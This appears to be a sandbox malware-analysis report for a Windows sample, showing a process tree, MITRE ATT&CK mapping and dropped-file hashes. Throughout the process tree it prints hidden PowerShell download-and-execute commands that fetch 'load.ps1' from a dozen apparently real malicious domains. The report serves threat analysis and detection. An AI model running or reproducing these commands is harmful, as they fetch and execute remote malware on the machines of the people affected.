                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')"
                                                                                                1⤵
                                                                                                  PID:652
                                                                                                • C:\Windows\explorer.exe
                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                  1⤵
                                                                                                  • Modifies Internet Explorer settings
                                                                                                  • Modifies registry class
                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:2916
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')"
                                                                                                  1⤵
                                                                                                  • Badlisted process makes network request
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:932
                                                                                                • C:\Windows\explorer.exe
                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')"
                                                                                                  1⤵
                                                                                                    PID:2632
                                                                                                  • C:\Windows\explorer.exe
                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                    1⤵
                                                                                                    • Modifies Internet Explorer settings
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:4864
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                    1⤵
                                                                                                      PID:2656
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
                                                                                                      1⤵
                                                                                                      • Badlisted process makes network request
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1284
                                                                                                    • C:\Windows\explorer.exe
                                                                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
                                                                                                      1⤵
                                                                                                        PID:2604
                                                                                                      • C:\Windows\explorer.exe
                                                                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                        1⤵
                                                                                                        • Modifies Internet Explorer settings
                                                                                                        • Modifies registry class
                                                                                                        • Suspicious behavior: AddClipboardFormatListener
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:3148
                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                        1⤵
                                                                                                          PID:4168
                                                                                                        • C:\Windows\explorer.exe
                                                                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')"
                                                                                                          1⤵
                                                                                                            PID:4100
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')"
                                                                                                            1⤵
                                                                                                            • Badlisted process makes network request
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4484
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                            1⤵
                                                                                                            • Modifies Internet Explorer settings
                                                                                                            • Modifies registry class
                                                                                                            • Suspicious behavior: AddClipboardFormatListener
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:3672
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')"
                                                                                                            1⤵
                                                                                                            • Badlisted process makes network request
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:5396
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')"
                                                                                                            1⤵
                                                                                                              PID:5588
                                                                                                            • C:\Windows\explorer.exe
                                                                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                              1⤵
                                                                                                              • Modifies Internet Explorer settings
                                                                                                              • Modifies registry class
                                                                                                              • Suspicious behavior: AddClipboardFormatListener
                                                                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:5616
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
                                                                                                              1⤵
                                                                                                              • Badlisted process makes network request
                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              PID:5148
                                                                                                            • C:\Windows\explorer.exe
                                                                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
                                                                                                              1⤵
                                                                                                                PID:5188
                                                                                                              • C:\Windows\explorer.exe
                                                                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                1⤵
                                                                                                                • Modifies Internet Explorer settings
                                                                                                                • Modifies registry class
                                                                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:3700
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
                                                                                                                1⤵
                                                                                                                • Badlisted process makes network request
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:3364
                                                                                                              • C:\Windows\explorer.exe
                                                                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://e390a.com/load.ps1')"
                                                                                                                1⤵
                                                                                                                  PID:5368
                                                                                                                • C:\Windows\explorer.exe
                                                                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                  1⤵
                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:6080
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')"
                                                                                                                  1⤵
                                                                                                                  • Badlisted process makes network request
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:4364
                                                                                                                • C:\Windows\explorer.exe
                                                                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x41t3.buzz/load.ps1')"
                                                                                                                  1⤵
                                                                                                                    PID:104
                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                    1⤵
                                                                                                                    • Modifies Internet Explorer settings
                                                                                                                    • Modifies registry class
                                                                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                    PID:3404
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')"
                                                                                                                    1⤵
                                                                                                                    • Badlisted process makes network request
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:5788
                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://x88-nhacai.site/load.ps1')"
                                                                                                                    1⤵
                                                                                                                      PID:2660
                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                                                                      1⤵
                                                                                                                      • Modifies Internet Explorer settings
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious behavior: AddClipboardFormatListener
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:652

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                          Reconnaissance

                                                                                                                          Resource Development

                                                                                                                          Initial Access

                                                                                                                          Execution

                                                                                                                          Command and Scripting Interpreter

                                                                                                                          2
                                                                                                                          T1059

                                                                                                                          PowerShell

                                                                                                                          1
                                                                                                                          T1059.001

                                                                                                                          Windows Command Shell

                                                                                                                          1
                                                                                                                          T1059.003

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Persistence

                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                          2
                                                                                                                          T1547

                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                          1
                                                                                                                          T1547.001

                                                                                                                          Winlogon Helper DLL

                                                                                                                          1
                                                                                                                          T1547.004

                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                          1
                                                                                                                          T1037

                                                                                                                          Logon Script (Windows)

                                                                                                                          1
                                                                                                                          T1037.001

                                                                                                                          Event Triggered Execution

                                                                                                                          1
                                                                                                                          T1546

                                                                                                                          Image File Execution Options Injection

                                                                                                                          1
                                                                                                                          T1546.012

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Privilege Escalation

                                                                                                                          Boot or Logon Autostart Execution

                                                                                                                          2
                                                                                                                          T1547

                                                                                                                          Registry Run Keys / Startup Folder

                                                                                                                          1
                                                                                                                          T1547.001

                                                                                                                          Winlogon Helper DLL

                                                                                                                          1
                                                                                                                          T1547.004

                                                                                                                          Boot or Logon Initialization Scripts

                                                                                                                          1
                                                                                                                          T1037

                                                                                                                          Logon Script (Windows)

                                                                                                                          1
                                                                                                                          T1037.001

                                                                                                                          Event Triggered Execution

                                                                                                                          1
                                                                                                                          T1546

                                                                                                                          Image File Execution Options Injection

                                                                                                                          1
                                                                                                                          T1546.012

                                                                                                                          Scheduled Task/Job

                                                                                                                          1
                                                                                                                          T1053

                                                                                                                          Scheduled Task

                                                                                                                          1
                                                                                                                          T1053.005

                                                                                                                          Defense Evasion

                                                                                                                          Modify Registry

                                                                                                                          3
                                                                                                                          T1112

                                                                                                                          Credential Access

                                                                                                                          Discovery

                                                                                                                          System Information Discovery

                                                                                                                          1
                                                                                                                          T1082

                                                                                                                          System Location Discovery

                                                                                                                          1
                                                                                                                          T1614

                                                                                                                          System Language Discovery

                                                                                                                          1
                                                                                                                          T1614.001

                                                                                                                          System Network Configuration Discovery

                                                                                                                          1
                                                                                                                          T1016

                                                                                                                          Lateral Movement

                                                                                                                          Collection

                                                                                                                          Command and Control

                                                                                                                          Exfiltration

                                                                                                                          Impact

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          powershell.EXE.log
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 3b14b48326a1201fc8b9667201c15392e52f7f5819c2aadafe19cbb72b08be51
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          ModuleAnalysisCache
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                          • Size 62KB
                                                                                                                          • SHA256 e6d06c37714fc052032aa58f139f4a5d3e920489fc290da5b4717ec0c6a20705
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 3d39580dca81c1baf00f4a818531c1bf44984e93e331c4fc233f0cd803c0be13
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 b43ebe0db524844c0a035f4f655f1580d02669966da6be888fb73facae1a047c
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 50bee32324cdf1c545e12e0585bc8ed64af2c65c0ac2c1adf6d7e92651911f40
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 944B
                                                                                                                          • SHA256 3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 885cb9b6202093e87905c8090f523146e7a1597dfdb8e90a5132d8ca68ad898e
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          StartupProfileData-NonInteractive
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 92d5a76ed593d1450f8f5309d806ef2ec37be8839f1e0e20763e75180345feac
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          __PSScriptPolicyTest_g4s5d1gc.ya1.ps1
                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4s5d1gc.ya1.ps1
                                                                                                                          • Size 60B
                                                                                                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                          • MD5 SHA1 SHA512 TLSH
                                                                                                                          Submit Download

                                                                                                                          memory/2232-15-0x0000020926DE0000-0x0000020926E26000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/3388-0-0x0000000000250000-0x0000000000272000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/3388-1-0x0000000004CF0000-0x0000000004D00000-memory.dmp
                                                                                                                          Download

                                                                                                                          memory/5012-8-0x00000220A6090000-0x00000220A60B2000-memory.dmp
                                                                                                                          Download